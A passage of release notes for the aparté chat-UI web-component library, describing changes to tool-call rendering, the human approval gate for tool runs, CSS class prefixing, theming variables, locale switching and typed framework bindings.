tool-pill→tool-label,tool-pill-icon→tool-icon,tool-pill-name→tool-name,tool-pill-spinner→tool-spinner,tool-pill-status→tool-state. Same reasoning that retiredfooter-left/center/right: a name the design contradicts is a name that will lie.And it no longer looks like a tag. The identity is neutral at every status — it used to be filled green when a call resolved and red when it was refused, which made a finished step shout louder than the reply it belongs to. The colour lives on a small state badge at the far end, which now carries a WORD as well as a glyph (
Running,Done,Rejected,Stopped): a bare cross beside a name reads as a button that removes something, so the state was being mistaken for an affordance.The renderer gains an
update, which it never had. Without one the bubble replaced the element on every change — and a tool call changes status several times a turn, so a disclosure the reader opened would have slammed shut under them each time. A registeredregisterToolRendererstill owns its whole markup and is rebuilt rather than patched.New locale keys:
toolInput,toolOutput,toolRunning,toolCompleted,toolRejected,toolStopped, translated in@aparte/locale-fr. New themable variable:--aparte-tool-row-radius.@aparte/core -
56e1247: An open request now follows a language switch.
AparteElicitationRequest.messageandAparteApprovalOption.labelacceptstring | (() => string); the function arm is re-read whenever the locale changes while the request is on screen.Additive — a string still behaves exactly as before, and deliberately so: a plain string is treated as the host’s own wording and left alone. That is right for an app’s text and wrong for locale-derived text, which is why core’s own approval gate now passes functions.
The gate was asking
Run delete_file?over buttons readingApprouverandRejeter.approveToolandrejectToolhave been translated in@aparte/locale-frsince long before this: nothing was missing from the translations, the re-read path was missing. It existed while the buttons lived in the segment, and moving them to the composer left it behind.The tool’s NAME is substituted into the question and never translated — it is the identifier the model called, wire format, so only the frame switches.
@aparte/core -
094d438: The tool-approval decision moves out of the transcript and into the composer.
A request that blocks the run is answered where the user answers. That is now a rule for the library, not a choice made once: the composer is where a question already went, and the approval gate was the only decision surface left in a bubble. It was older than the mechanism that should have carried it — built with a segment renderer and a
documentevent because neithershowPanelnor a typed presenter existed yet — and nothing came back for it, partly because for a stretch the whole human-in-the-loop path was inert and so nothing exercised it.What you see. The
tool_callpill stays in the transcript as the anchor, saying which tool is waiting, with no role, no tab stop and nothing clickable. The choices appear in the composer, each settling on the first click, above a quiet field for saying what to do instead. The thing being judged stays in the thread, which is scrollable, copyable and persisted; the panel is capped at half the viewport and could not hold a diff or a plan.Breaking, pre-1.0, no shims:
aparte-tool-decisionis deleted — the event,AparteToolDecisionDetail, its event-map entry and thedocumentlistener that answered it. It existed only because a segment renderer has no reference to the client. To answer programmatically, pass anapprovalResolveror register your own presenter; both see the whole request instead of an id on an event.AparteToolApprovalResolverandStreamApprovalResolvertake the CALL,(call, signal)rather than(toolCallId, signal). You cannot ask a person “run this?” without naming what — and an id alone forced a lookup table filled by one event and read by another, the shape that breaks in silence.- Both resolvers may return an
instruction, the words the model reads back on a refusal. AparteElicitationRequestgainskindandoptions, andschemais now optional — required on a'question', absent on an'approval'.
New:
buildApprovalPanelandBuiltApprovalPanel,AparteApprovalOptionandAparteApprovalAnswer, and four locale keys (approvalAsk,approvalWaiting,approvalInstructionPlaceholder,approvalOptionsLabel), translated in@aparte/locale-fr.<aparte-chat>now ships<aparte-elicitation>in its default composition. The built-in gate asks through the presenter, so a chat without one could not honourneedsApprovalat all. An affordance core honours end to end is on by default; leaving this out would have made the gate depend on a tag nobody was told to write. Author-provided compositions are untouched, as always.The options come with the request. Core supplies two — the tool’s name as the question, Approve and Reject — and anything richer is the host’s: a scope option (“and always for this tool”) exists only because an app wrote the label and can remember the grant. Core never invents one and never interprets one.
Also fixed, in passing: a panel’s own buttons inherited the composer row’s 44×44 action-control sizing and rendered as circles with their labels spilling out. Any panel containing a button hit this; the approval options were the first that do.
@aparte/core,@aparte/engine -
5ac31ff: Every CSS class core emits is now prefixed
aparte-. Breaking, pre-1.0, no aliases: 42 names across 291 occurrences.aparte-segmentaparte-segment-contentaparte-segment-textaparte-segment-thinkingaparte-segment-codeaparte-segment-erroraparte-segment-tool-callaparte-segment-artifact-cardaparte-segment-artifact-fileaparte-segment-pipeline-waitingaparte-segment-unknown·aparte-tool-summaryaparte-tool-toggleaparte-tool-labelaparte-tool-iconaparte-tool-nameaparte-tool-spinneraparte-tool-stateaparte-tool-detailaparte-tool-partaparte-tool-part-labelaparte-tool-part-body·aparte-code-content-wrapperaparte-code-copyaparte-code-filenameaparte-code-headeraparte-code-header-filleraparte-code-language·aparte-error-contentaparte-error-detailsaparte-error-icon-wrapperaparte-error-messageaparte-error-title·aparte-thinking-contentaparte-thinking-headeraparte-thinking-labelaparte-thinking-toggle·aparte-is-streamingaparte-is-focusedaparte-is-dragoveraparte-has-content·aparte-pw-dotIf you style any of these, add the prefix.
--aparte-*custom properties are unchanged — they were already namespaced.Why it mattered in both directions. Core is light DOM on purpose: no shadow root, so every selector reaches in and out. Inbound has bitten this project twice already — a bare
nav { justify-content: space-between }on aparté’s own docs site pushed the artifact card’s tabs to opposite ends, and.segmentis Semantic UI’s base layout class. Outbound is the worse half and was never stated: these were bare global selectors, so@aparte/coreshipped a rule for.error-message,.code-headerand.thinking-headeronto the whole page. Almost every site has an.error-message.The component classes were already prefixed (
aparte-message,aparte-composer-row,aparte-approval-option,aparte-elic-panel); the renderer classes never were. With no written policy, the split held at 146 to 42. The policy is now in CLAUDE.md.One deliberate exception:
language-*on a code block stays unprefixed, because that is the class name highlighters look for.Removing the
progresssegment in the same release already took outprogress-barandprogress-fill, which are Bootstrap’s.@aparte/core -
c4d87a2: A second request for the human now waits instead of being answered
cancelon arrival.AparteConfig.requestUserInputholds a queue, so one request reaches the presenter at a time. That limit is real — the composer has one panel slot, and a second request used to clobber the first’s DOM — but the old protection lived in<aparte-elicitation>, which resolved the second request{ action: 'cancel' }immediately. That is a refusal invented for a question nobody was ever shown, and the model reads it as the user having refused. Waiting is the honest behaviour.Two things this also fixes: a consumer’s own presenter, registered with
setElicitationPresenter, previously had no protection at all; and a request that has been queued while its turn is stopped is no longer presented, because asking about a run that is already over asks about nothing.Filed minor rather than patch for one reason worth naming: code that leaves a request unawaited and then awaits a second one used to get an immediate
canceland now waits for the first to settle. Nothing in this repo did that, and a dangling request is itself settled by the composer’s turn-end eviction, but the shape of the change is visible enough to be a minor.The queue only costs a microtask when something is actually ahead: with nothing waiting, a request is still presented in the calling tick, which is what the panel being mounted synchronously depends on.
@aparte/core -
c6d3a20: The
progresssegment is removed.AparteProgressSegment,progressRenderer, its registration inregisterDefaultRenderers(), its CSS and its three--aparte-progress-*variables all go. Breaking, pre-1.0, with no alias and no shim.No language model emits a progress bar. Not chat-completions, not Anthropic’s messages API, not the AI SDK’s stream protocol — a model emits text, reasoning, tool calls, tool results and sometimes citations. And nothing in this repo emitted one either: the only in-repo
'progress'is a worker→main message in@aparte/provider-transformersreporting model download progress to anonProgresscallback, which is a name collision and never a segment.label+percent+statusare the signature of an app that owns the work — word for word the reason theterminalsegment was removed, and the sixth segment type to go for it. The line it sits on the wrong side of is visible one file away:pipeline-waitingstays, because core emits that one itself between the phases of a multi-step turn. Core-owned indicator, not app-owned data.An app that wants a progress bar has the seam for it:
registerSegmentRendererwith a segment type of its own. That is the same answer this library gives for a terminal, and it is a better one than a built-in nothing fills.Also fixes the landing’s hero, which claimed “ten kinds of content” over a list of eight. The count is computed from the list now, so it cannot drift again; it reads seven.
@aparte/core -
9e30879: Every aparté element now has a typed surface in all four frameworks.
Placing an element used to mean one of two things: a stringly-typed proxy, or nothing at all. In Angular it was
<aparte-ui name="aparte-model-selector" [props]="{…}" (elementEvent)="…">— a tag name as a string, an untyped bag of props mixing DOM attributes with CSS variables, one output for every event, and an element created imperatively so no@if,@foror content projection could reach it. In React it was nine tags declaredany.@aparte/corenow declares each element’s attributes once —AparteElementAttributes, keyed byAparteElementTagName, with a per-element interface exported for each. Every wrapper derives from that registry rather than listing tags, so an element added to core is typed everywhere the moment it lands.-
React — the
aparte-*JSX intrinsics are typed. A wrong value type is a compile error.Amended after release: this said “a typo, a wrong value type, or an attribute the element does not observe is a compile error”. The value half holds; the other two do not, for the hyphenated names the sentence used as its own examples. TypeScript treats a JSX attribute whose name is not a valid JS identifier as “known” even when it is absent from the attributes type, so none of the 12 hyphenated aparté attributes is typo-checked —
max-rendered-bubles={200}compiles. Presence-attribute enforcement is unaffected. -
Vue — declared through
GlobalComponents, checked byvue-tsc. -
Svelte — declared through
SvelteHTMLElements, checked bysvelte-check, includingon:handlers derived from the DOM event map. -
Angular — a standalone directive per element, exported individually and as
APARTE_ELEMENT_DIRECTIVES. Real@Input()s that write attributes (never properties — eight of<aparte-composer>’s accessors are getter-only), one typed@Output()per event emitting the event’s detail, and the real tag in the template so control flow and projection work. It also means noCUSTOM_ELEMENTS_SCHEMA, which used to switch template checking off for every unknown tag in the file.
In the three template languages a presence attribute is
'' | null | undefined, notboolean: all three stringify what they set on a custom element, sosearchable={false}would rendersearchable="false"and an element testinghasAttributereads that as on. Angular’s directives take a realbooleanand write the attribute themselves.AparteTemplateAttrsandAparteAttrValueare exported if you build your own integration.<aparte-ui>is unchanged and still ships. It is the escape hatch for an element aparté does not define — one of yours, or a third party’s — rather than the way to use aparté’s own.Also fixed while typing it, all found by the compiler rather than by reading: six attributes were documented as strings while the element treats them as booleans or numbers;
timestampaccepts a number as well as a string;framework-managedis a real attribute of the contract that all four wrappers set, core reads on two elements, and nothing declared; andmax-messagesis marked deprecated in favour ofmax-rendered-bubbles, which the element has been warning about at runtime.New docs page: Placing elements, typed.
@aparte/core,@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue -
-
2f6180e: A wrapper types only what it depends on.
AparteModelSelectorDirectiveandAparteAskUserDirectiveare removed from@aparte/angular;aparte-model-selectorandaparte-ask-userare removed from core’sAparteElementAttributesregistry, along with theAparteModelSelectorAttributesexport; andaparte-model-changeis removed fromAPARTE_DEFAULT_UI_EVENTS.They were added hours earlier in the same release, and the reason to take them back out is the one that matters: a third-party plugin’s author cannot add a line to
@aparte/core. Typing our own plugin’s element from core and shipping its directive from the wrapper gave aparté’s packages a privilege nobody else’s plugin could have — an asymmetry baked into the library before it has an ecosystem.The rule that replaces it is symmetric and states in one line: whoever owns the element owns its contract and its bindings. Core’s elements are typed by core and wrapped by the wrappers. Everything else — a plugin’s element, ours or yours — is typed by its owner, or in six lines by the app that places it. Both mechanisms are documented, and both are exactly the same work for us as for anyone: module augmentation for React/Vue/Svelte (types only, no runtime, applies exactly when the package is installed) and a directive for Angular, whose only non-obvious part — attribute versus property — is
applyElementProps, already exported.Nothing about core’s own 18 elements changes: their attributes, the 26 declared events with 20 typed details, the JSX/Vue/Svelte typing and the 17 Angular directives all stay.
The Angular example keeps its
CUSTOM_ELEMENTS_SCHEMAremoved.Amended after release: this said the example “now declares its own six-line directive for the model selector instead of importing one”. It does not — it imports the directive from
@aparte/plugin-model-selector/angular. The plugin shipped that subpath later in the same release and the example was switched back to it, but this paragraph was not re-measured before publishing. The pattern itself is documented, with a worked example, at/frameworks/elements/#your-own-element-or-a-plugins.@aparte/core,@aparte/angular -
16bcd8a:
@aparte/plugin-model-selector/angular— the fourth and last binding, so all four frameworks now get<aparte-model-selector>from the package that owns it.import { AparteModelSelectorDirective } from "@aparte/plugin-model-selector/angular";// @Component({ imports: [AparteModelSelectorDirective], … })Angular is the only one of the four that needs real code — its template compiler requires a class claiming the selector, and
[persist]="true"on a custom element writes a property, which on an attribute-driven element is a silent no-op. So this entry is compiled in partial-Ivy mode byngc, the format a consumer’s own AOT build finishes, while Vite keeps building everything else. The directive itself is generated from the package’s own custom-elements manifest, like the other three bindings.@angular/coreis an optional peer dependency: install the plugin without Angular and nothing here is reachable, which is the point.The Angular example now imports this instead of the six-line local directive it wrote while waiting — the import resolving at all is the property, since you get the binding exactly when you have the plugin. That local directive remains the documented path for an element aparté does not define.
@aparte/plugin-model-selector -
d03b212:
@aparte/plugin-model-selectortypes its own element, through three new subpath exports:./react,./vueand./svelte.import "@aparte/plugin-model-selector/react";// <aparte-model-selector persist="" searchable="" placeholder="Pick a model" /> ← typedThis is the rule from the previous release made real: whoever owns the element owns its contract and its bindings.
@aparte/angularbriefly shipped a directive for this element and core briefly typed it — both were removed, because a third-party plugin’s author cannot add a line to either, so doing it for our own plugin gave aparté’s packages a privilege theirs could never have.Putting the bindings in the plugin makes the property you actually want fall out of the module graph: install the package and the tag is typed; don’t and it isn’t. TypeScript enforces that, nobody has to remember it.
Subpaths rather than the main entry because a
declare module 'react'block only compiles where React’s types resolve — in a shared entry it breaks every Vue and Svelte consumer withTS2664.react,vueandsvelteare optional peer dependencies; the three modules carry no runtime at all (0.04 kB each, the augmentation is the whole payload).The package now also emits its own custom-elements manifest, and its attribute types are generated from it by the same
scripts/gen-element-bindings.mjsthat generates core’s — so the types cannot fall behind the element’s JSDoc, and a third-party plugin can run the same tool on its own manifest.No Angular subpath yet: an Angular directive is runtime code, so it needs partial-Ivy compilation in a package that builds with Vite. Until then, the six-line local directive the Angular example demonstrates is the path.
@aparte/plugin-model-selector
Patch Changes
-
7336ae4: A built-in renderer’s CSS moved out of
getStyles()and intostyles/aparte.css— the tool call, the artifact card and the pipeline-waiting segment, 425 lines out of the three renderers and 449 into the stylesheet (the difference is section comments and blank lines a real stylesheet gets to have). No visual change: the same rules, in a file that ships the same way.getStyles()stays on the renderer interface, because that seam is what a consumer’s renderer needs — something registered throughregisterSegmentRendererorregisterToolRenderercannot edit core’s stylesheet and has no other way onto the page. A built-in has the stylesheet.Two measured reasons.
check:derived-varsreads that one path and nothing else, so a declaration deriving from another variable could hide in a renderer unchecked. And CSS in a template literal is not read as CSS: a backtick closes the literal — the artifact card’s own comment recorded that happening, and it happened three more times in one sitting, the worst rendering a source marker into an assistant’s bubble as prose, because inside a template literal a//comment is just text.Also removes a dead rule that tinted the tool row’s border while a decision was pending: it stopped painting anything when that border went away in the row redesign, and it reached for
--aparte-border-strong, a variable that was never declared anywhere.Contract-neutral: core’s entry imports the stylesheet and
package.jsonmarks every.cssa side effect, so importing@aparte/corehas always brought it along.@aparte/core -
02f2d4d: The composer’s one panel slot now has an owner, which closes a defect that could permanently stop a chat from asking anything.
showPanelreturns a token and accepts anonEvictcallback;hidePanel(token)closes the panel only if that token still owns the slot. Both additions are additive — code that callsshowPanel()andhidePanel()as before is unchanged.The defect: the composer tears its panel down on every turn-ending event, and
<aparte-elicitation>only listened foraparte-message-errorandaparte-message-aborted. A question still open when a turn completed normally therefore lost its panel while the presenter kept its pending state — sorequestUserInput()never settled, and because the presenter refuses a second request while one is pending, every later question was short-circuited for the life of the page. One finished turn and the chat could never ask again.Three paths could close a panel whose owner was still awaiting an answer, and none of them told the owner: a second
showPanel, the owner’s own latehidePanel, and the turn-end teardown. All three now notify, and a presenter settling late can no longer tear down the panel that replaced its own.@aparte/core -
093a196: The element bindings are generated from the manifest, not written by hand. 675 lines of hand-maintained declarations out — 435 of Angular directives and 240 of attribute interfaces — for a 335-line generator and a 55-line config file, which three packages now share.
Core’s attribute registry and the 17 Angular directives were a parallel structure over facts the custom-elements manifest already carried, with nothing watching them. Add an attribute to an element and the manifest records it, the registry records it, and React, Vue and Svelte type it automatically — they derive from the registry through a mapped type. Angular would silently not, because an
@Input()is a hand-written member. Nothing would go red, and the Angular wrapper would be quietly behind within days.scripts/gen-element-bindings.mjsnow emits both fromdist/custom-elements.json, into gitignoredsrc/generated/directories rewritten on every build — the same pattern the docs’ two generated reference pages already use, so there is no committed artifact that can fall behind and no new guard.The generator was checked differentially against the output it replaced, and reproduced it: the same 15 interfaces carrying the same 48 attribute members, the same 17 directives, the same 24 Outputs. It differs in exactly one place — 41 Inputs where the hand-written directives had 40, because it picked up
framework-managedon<aparte-chat-viewport>, an attribute core’s registry declared and the hand-written directive had missed. That is the drift this change exists to make impossible, found in the artefact being deleted. The 109 directive tests pass unchanged against the generated file.What cannot be derived lives in
packages/core/element-bindings.config.mjs, visible rather than buried in a generator branch:roleon the bubble is omitted as an Input because that name is ARIA’s,data-emptyon the toolbar is omitted because the element reflects it onto itself, andaparte-abort/aparte-message-abortedget no Output because they are dispatched onwindowwhere a host listener could never hear them.No public API changes: the same types and the same directive names are exported, from a generated file instead of a hand-written one.
@aparte/core,@aparte/angular -
e406a98: Every element now declares and describes its own surface, and the generated API reference prints each event’s detail type.
The manifest is the source of truth for the component API, and it was quietly incomplete. Four elements carried a full
@element/@attr/@firesblock at the top of their file, separated from the class by imports and interfaces — TypeScript associates only the comment physically adjacent to a declaration, so every authored description was dropped on the floor. Nothing looked missing: the analyser readsobservedAttributesandthis.dispatchEventstructurally, so<aparte-select>still listed six attributes and three events. They just had no text, and the reference page shipped rows like| aparte-cancel | |.Seven event names reached the manifest through neither path and are now declared by hand, because no docblock fix can make them detectable: the analyser’s fallback only visits real method declarations and only recognises
this.dispatchEvent.<aparte-conversation-list>had no events at all — all four of its dispatches happen in an arrow class field.<aparte-chat-bubble>was missing exactly one,aparte-branch-navigate, for the same reason.<aparte-composer>was missingaparte-abortandaparte-message-aborted, which go out onwindow.Every event that carries a detail now names its type —
@fires {CustomEvent<AparteConversationSelectDetail>} …— sourced fromevent-map.ts, which is guarded in both directions. Before this, all 26 events in the manifest read as a bareCustomEvent; there was no working typed instance in the repo. The generated reference gained a Type column to print it, because that is what tells a consumer the shape ofe.detail.Result: 18 elements, every one with a description, every attribute and event described, 26 events of which 20 carry a typed detail.
@aparte/core,@aparte/plugin-ask-user,@aparte/plugin-model-selector -
6f262cf: Three fixes to the human-in-the-loop gate. No API changes: nothing that compiles today stops compiling.
A stop is no longer reported to the model as a refusal. Pressing Stop while a tool waited for approval stamped the segment
rejectedand put “Tool execution was rejected by the user.” into the history — the sentence the model reads named a decision nobody made. The abort path resolved{ approved: false }, the same value an explicit Reject produces, so the gate could not tell them apart. It now asks the signal instead of the value, and an aborted wait stampsabortedand appends notool_result: there is nothing true to tell the model, which is already how a handler aborted mid-run is treated.A
needsApprovaltool with noapprovalResolveraborts instead of inventing a refusal.runStreamAgentdefaulted toasync () => ({ approved: false }), so a host that had simply forgotten to wire a resolver was reported to the model as having refused.A reloaded conversation stops waiting for a decision nobody can give. A
tool_callpersisted asawaiting-approvalcame back still awaiting it, with Approve / Reject buttons wired to a listener that went with the page — andisSegmentSettledreads status for a tool call, so the segment also stayed open and collected anendedAtfrom the next turn-close.adoptSegmentnow normalises it toabortedon every load path: nobody refused it, the page simply went away. The persistence guide documented this as something core could not fix for you; that half of the paragraph is gone, andpending— the same defect on the sibling nobody had looked at — is named as still outstanding.AparteToolDecisionDetail.targetIdis declared. The runtime always sent it and a test read it, so reaching the chat id on a public event required casting past its own type.@aparte/core,@aparte/engine -
d85cf6b:
APARTE_DEFAULT_UI_EVENTSnow lists every event an aparté element dispatches on itself — 23 names, up from 7.This is the set
AparteUiforwards in all four wrappers, so an event missing from it is an event a consumer cannot hear through the proxy. It described itself as “verified against core” while carrying seven of twenty-three, and the gap was not academic:aparte-model-changewas absent, and<aparte-ui name="aparte-model-selector">was the one worked example in the wrappers’ own documentation — the documented usage could not receive the event it exists to receive.That example is gone from this release for a better reason than a longer list:
@aparte/plugin-model-selectornow types its own element and ships its own bindings, so its event is typed through the DOM and the proxy is not on the path at all.aparte-model-changeis therefore not in this list — a plugin’s event is the plugin’s to declare, and core listing it was the same privilege the boundary change removed everywhere else.Two of core’s own events are also deliberately excluded:
aparte-abortandaparte-message-abortedgo out throughwindow.dispatchEvent, so an element-level listener can never receive them and listing them would promise a forward that cannot happen. That is the whole difference between the manifest’s 25 distinct event names and this list’s 23.@aparte/core -
e40cf78: Breaking, pre-1.0, no shim: a request for the human that ends without an answer now rejects instead of resolving
{ action: 'cancel' }.AparteElicitationResultloses itscancelarm and keepsaccept/decline. The failure arrives as the newAparteElicitationAbortError, whosenameis'AbortError'— so any handler already testingerr.name === 'AbortError'needs no change — and whosereasonis'aborted'(a stopped turn, a fired signal, a question taken away by another request) or'no-presenter'(nothing was mounted to ask it).Why the shape had to change: a value is easy to handle as though it were an answer, and that is exactly what happened one level up. The tool-approval gate read
cancelas a refusal, stamped the segmentrejected, and told the model “Tool execution was rejected by the user.” The user had pressed Stop. A rejection cannot be mistaken for a decision by a caller that forgot a branch, which is the propertycancelnever had.Evidence the shape is right:
askUserHandleralready performed this exact conversion by hand —{ action: 'cancel' }in,new DOMException(..., 'AbortError')out. That conversion is gone; the error now propagates from the primitive.Migrating. Replace a
case 'cancel':branch with acatch. Aswitchonactionthat had all three arms keeps compiling with two, and the third path becomes thecatch. One consequence worth knowing: a request you start and neverawaitwill surface an unhandled rejection when it ends without an answer, because that is what an ignored failed promise is — attach a.catch()if you genuinely do not care about the outcome.@aparte/plugin-ask-user -
ecd9ad5: A tool call now shows what went in and what came out, and it is drawn as a row rather than a badge.
The pill named the tool and showed nothing else — not the arguments the model chose, not the result it got — while the segment carried both the whole time. Missing presentation, not missing data. It opens onto
Input(pretty-printed JSON) andOutput, coloured by a registered highlight provider when there is one and readable as escaped text when there is not.Collapsed, always — including while the loop waits for a decision. The reasoning block stays closed while it is being produced, which is the most live moment there is, so a tool call has no stronger claim to unroll itself. One rule, no special cases. A
<details>appears only when there is something behind it: a disclosure onto nothing is an affordance that lies.Breaking, pre-1.0: four CSS classes are renamed, because a name in a public CSS contract must name a ROLE and not a shape — the shape belongs to whoever is styling it.
tool-pill→tool-label,tool-pill-icon→tool-icon,tool-pill-name→tool-name,tool-pill-spinner→tool-spinner,tool-pill-status→tool-state. Same reasoning that retiredfooter-left/center/right: a name the design contradicts is a name that will lie.And it no longer looks like a tag. The identity is neutral at every status — it used to be filled green when a call resolved and red when it was refused, which made a finished step shout louder than the reply it belongs to. The colour lives on a small state badge at the far end, which now carries a WORD as well as a glyph (
Running,Done,Rejected,Stopped): a bare cross beside a name reads as a button that removes something, so the state was being mistaken for an affordance.The renderer gains an
update, which it never had. Without one the bubble replaced the element on every change — and a tool call changes status several times a turn, so a disclosure the reader opened would have slammed shut under them each time. A registeredregisterToolRendererstill owns its whole markup and is rebuilt rather than patched.New locale keys:
toolInput,toolOutput,toolRunning,toolCompleted,toolRejected,toolStopped, translated in@aparte/locale-fr. New themable variable:--aparte-tool-row-radius.@aparte/locale-fr -
094d438: The tool-approval decision moves out of the transcript and into the composer.
A request that blocks the run is answered where the user answers. That is now a rule for the library, not a choice made once: the composer is where a question already went, and the approval gate was the only decision surface left in a bubble. It was older than the mechanism that should have carried it — built with a segment renderer and a
documentevent because neithershowPanelnor a typed presenter existed yet — and nothing came back for it, partly because for a stretch the whole human-in-the-loop path was inert and so nothing exercised it.What you see. The
tool_callpill stays in the transcript as the anchor, saying which tool is waiting, with no role, no tab stop and nothing clickable. The choices appear in the composer, each settling on the first click, above a quiet field for saying what to do instead. The thing being judged stays in the thread, which is scrollable, copyable and persisted; the panel is capped at half the viewport and could not hold a diff or a plan.Breaking, pre-1.0, no shims:
aparte-tool-decisionis deleted — the event,AparteToolDecisionDetail, its event-map entry and thedocumentlistener that answered it. It existed only because a segment renderer has no reference to the client. To answer programmatically, pass anapprovalResolveror register your own presenter; both see the whole request instead of an id on an event.AparteToolApprovalResolverandStreamApprovalResolvertake the CALL,(call, signal)rather than(toolCallId, signal). You cannot ask a person “run this?” without naming what — and an id alone forced a lookup table filled by one event and read by another, the shape that breaks in silence.- Both resolvers may return an
instruction, the words the model reads back on a refusal. AparteElicitationRequestgainskindandoptions, andschemais now optional — required on a'question', absent on an'approval'.
New:
buildApprovalPanelandBuiltApprovalPanel,AparteApprovalOptionandAparteApprovalAnswer, and four locale keys (approvalAsk,approvalWaiting,approvalInstructionPlaceholder,approvalOptionsLabel), translated in@aparte/locale-fr.<aparte-chat>now ships<aparte-elicitation>in its default composition. The built-in gate asks through the presenter, so a chat without one could not honourneedsApprovalat all. An affordance core honours end to end is on by default; leaving this out would have made the gate depend on a tag nobody was told to write. Author-provided compositions are untouched, as always.The options come with the request. Core supplies two — the tool’s name as the question, Approve and Reject — and anything richer is the host’s: a scope option (“and always for this tool”) exists only because an app wrote the label and can remember the grant. Core never invents one and never interprets one.
Also fixed, in passing: a panel’s own buttons inherited the composer row’s 44×44 action-control sizing and rendered as circles with their labels spilling out. Any panel containing a button hit this; the approval options were the first that do.
@aparte/locale-fr
Version-only bumps (no changes of their own): @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-transformers, @aparte/plugin-marked, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown.
0.10.0
Every @aparte/* package ships at this version (they are released in lockstep).
Minor Changes
-
b4f2435: Fixed: a derived CSS variable now follows a master you override. Per-instance theming works, and core’s own dark theme stops painting from a palette it had left. Visible change in dark mode — read the last section before upgrading.
A custom property is substituted where it is declared. 79 of core’s declarations read another variable, and all 79 lived in
:root, :hostalone — so each was computed once against the root palette, and everything below merely inherited the result. Two consequences, neither of which produced an error:--aparte-primaryon one<aparte-chat>moved the send button and nothing else. The accent, the avatar, the focus ring and the radii are derived, so they kept the root’s brass. Per-instance theming was documented and did not work.[data-aparte-theme="dark"]overrides eight masters and re-declared none of the derived layer, so dark mode kept light-substituted values. Invisible in the obvious place — both brasses are brass — and not invisible in 24 others, which had been papered over with hardcoded dark literals:#1e293b,#334155,#475569,#94a3b8, the Tailwind slate ramp, against a dark theme whose own surfaces are#17141c/#211b28/#2a2333(purple-ink). Code blocks, reasoning, the input and the conversation list rendered in a different colour family from the rest of the chat. Two owners for one value, and they had already drifted.
What changed. The derived layer is now its own block, declared at every anchor where a palette can change:
:root, :host, [data-aparte-theme], [data-aparte-host], aparte-chat { … }Substitution re-runs there, against that element’s own masters. The 24 stale dark literals are deleted — the derivation owns those values now, so the dark block is back to what a theme should be: 18 literal master overrides (backgrounds, bubbles, text, border, primary, one shadow, the error palette) and nothing else.
The literal palette deliberately stays on
:root, :host. Widening that list looks like the same fix and is not: it would re-declare the light literals on an<aparte-chat>nested in a dark wrapper, where a local declaration beats the inherited dark value, and the chat would silently go light. Both halves are now enforced bypnpm check:derived-vars, with the browser half ine2e/tests/theming.spec.ts— jsdom does not resolvevar(), so no unit test can see any of this.Upgrading. If you set a master (
--aparte-primary,--aparte-surface-*,--aparte-text*,--aparte-border) anywhere, more of the UI now follows it — that is the fix. If you were compensating for the old behaviour by also setting a derived variable by hand, drop the compensation; setting the master is enough. In dark mode, code blocks, reasoning blocks, the composer field and the conversation list change colour: they now derive from your dark surfaces instead of the abandoned slate values. To keep a specific one exactly as it was, set that variable yourself — a value you declare still wins.@aparte/core -
fd192e6: A config change now reaches the composer, and
subscribeConfigChangeis the hook for your own elements.The docs promise that “a locale switch is live: mounted components re-render immediately”. It was half true. Twenty-one files read a config-derived value — an icon, a locale string — at render time, and sixteen never re-read it. Among them all four composer controls and the input, each of which renders once behind an early-return guard, so an icon set or a language chosen after the first render never reached them.
Most of that surface is invisible: accessible names and tooltips. Only the input’s placeholder is text a sighted user reads. That is why it went unnoticed — nothing on screen was ever in the wrong language.
New:
subscribeConfigChange(el, handler)(exported, and from the Node entry too). It owns the event name — previously a string literal repeated in five components — and the scope rule that decides whether a change belongs to this element. The config is resolved per event, never captured when subscribing:AparteChatStatusdocuments why, having been made “permanently deaf to its own instance” by exactly that mistake.Fixed, with a targeted refresh in each — never a re-render:
aparte-composer-input— the placeholder and its accessible name.aparte-composer-send— the icon and label for whichever of its four meanings the button currently carries. It remembers the lastpanel-changepayload now, which it previously read out of the event’s arguments and discarded, so nothing could recompute the chrome afterwards. Its streaming label was the bare literal'Stop'and is localized.aparte-composer-cancel— icon and accessible name, without touchinghidden.aparte-composer-add-attachment— icon, label, tooltip.aparte-composer-action— icon only: its label is the consumer’slabelattribute, so a locale change is correctly a no-op there.- the bubble’s avatar provider, which was the one provider a live change never reached — swap the set and every bubble already on screen kept the old one.
Why targeted and not a re-render:
_render()returns early once its button exists, and its own disabled/hidden/mode computation ignores state that lives on the composer root. Rebuilding would put a send glyph back while a reply was still streaming, un-hide a stop button, drop out of answer mode with a question panel open, and take the focus off the control most likely to be holding it.Ten tests, both halves seen to fail: disabling the seam reddens nine of ten, and removing the send button’s mode dispatch reddens exactly its two streaming cases.
Still stale, and deliberately not in this change: the segment renderers’ config-derived text (a code block’s copy button, a tool call’s Approve/Reject, a terminal’s labels). Refreshing them by re-rendering the segments container was audited and rejected — it destroys a running artifact preview, reverts a reasoning block a reader had expanded, resets scroll inside long panes, and does not even localize the strings that were never routed through
t()in the first place. It needs a narrowrelabelhook on the renderer contract, which is its own change.aparte-elicitationand the model-selector plugin are also still to do, each for a specific reason recorded in that audit.@aparte/core -
0fc38d8: A live config change now reaches an open question and the model selector. They were the last two components a language switch could not touch, and each was stuck for a different reason.
The elicitation panel kept no reference to itself.
Pendingheld{ settle, composer }, so when the locale changed there was nothing to relabel — the question a user was looking at stayed in the previous language. Rebuilding was never the alternative: the reader may be halfway through typing an answer, or three questions into a form.So
BuiltElicitationPanelgainsrelabel(), bound by the same rule as a segment renderer’s: text and attributes only, no node added or removed. The panel collects one closure per string it takes from the locale, while it is being built and only when it takes it — which is what keeps atrueLabelthe tool supplied from being overwritten byelicitationYes. Four sites: the “Other…” option (title, placeholder and accessible name), the yes/no labels, and the last-resort answer label. The presenter keeps the panel and its Skip button inPending, subscribes with the publicsubscribeConfigChange, and re-texts both.Asserted in pairs — the strings moved, and a half-typed answer is still there, in the same node.
Fixed in passing, found by one of those tests: an elicitation with an empty
messagegave its inputaria-label=""— no accessible name at all. The chain wasfield.title ?? field.description ?? fallbackLabel ?? t('elicitationAnswerLabel'), and??treats''as a value, so an empty message won. It is||now: an empty title is not a name.The model selector was subscribed, and guarded past it. Its handler returns early unless the model config changed, so a language switch reached it and was dropped — leaving
